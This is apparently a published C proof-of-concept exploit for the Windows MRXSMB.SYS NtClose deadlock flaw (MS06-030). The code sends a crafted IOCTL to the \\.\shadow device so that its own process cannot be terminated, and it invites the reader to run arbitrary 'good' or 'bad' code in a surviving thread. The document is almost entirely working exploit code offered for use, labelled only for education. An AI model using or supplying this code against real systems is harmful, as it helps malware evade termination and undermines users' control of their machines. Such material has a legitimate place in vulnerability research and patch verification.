MS Windows (NtClose DeadLock) Vulnerability PoC (MS06-030)
///////////////////////////////////////////////////////////////////////////////////////// MRXSMB.SYS NtClose DEADLOCK exploit///////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//November 19,2005
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//ONLY FOR EDUCATION PURPOSES
////////////////////////////////////////////////////////////////////////////////
// Rubén Santamarta
// ruben (at) reversemode (dot) com
// http://www.reversemode.com
////////////////////////////////////////////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
#define MAGIC_IOCTL 0x141047
VOID ShowError()
{
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0,
NULL);
MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
exit(1);
}
VOID IamAlive()
{
DWORD i;
for(i=0;i<0x1000;i++)
{
Sleep(1000);
printf("\rI am a Thread and I am alive [%x]",i);
}
}
VOID KillMySelf()
{
DWORD junk;
DWORD *OutBuff;
DWORD *InBuff;
BOOL bResult;
HANDLE hDevice;
DWORD i;
hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) ShowError();
OutBuff=(DWORD*)malloc(0x18);
if(!OutBuff) ShowError();
OutBuff=(DWORD)hDevice;
DeviceIoControl(hDevice,
MAGIC_IOCTL,
0,0,
OutBuff,0x18,
&junk,
(LPOVERLAPPED)NULL);
// MAIN THREAD ENDING.
}
int main(int argc, char *argv[])
{
LPTHREAD_START_ROUTINE GoodThread;
DWORD dwThreadId;
DWORD bResult;
GoodThread=(LPTHREAD_START_ROUTINE)IamAlive;
printf("-==-\n");
printf("\t(Only for educational purposes)\n");
printf("..http://www.reversemode.com..\n\n");
printf("Launching Thread ...");
// PUT YOUR "GOOD" OR "BAD" CODE HERE
// e.g GoodThread
CreateThread(NULL,0,GoodThread,0,0,&dwThreadId);
printf("Done\n");
printf("I am going to dissapear,but I will be with you forever\n");
printf("(..)\n\n");
KillMySelf(); // Immortal mode "on" ;)
return(1);
}
// hihacker.net
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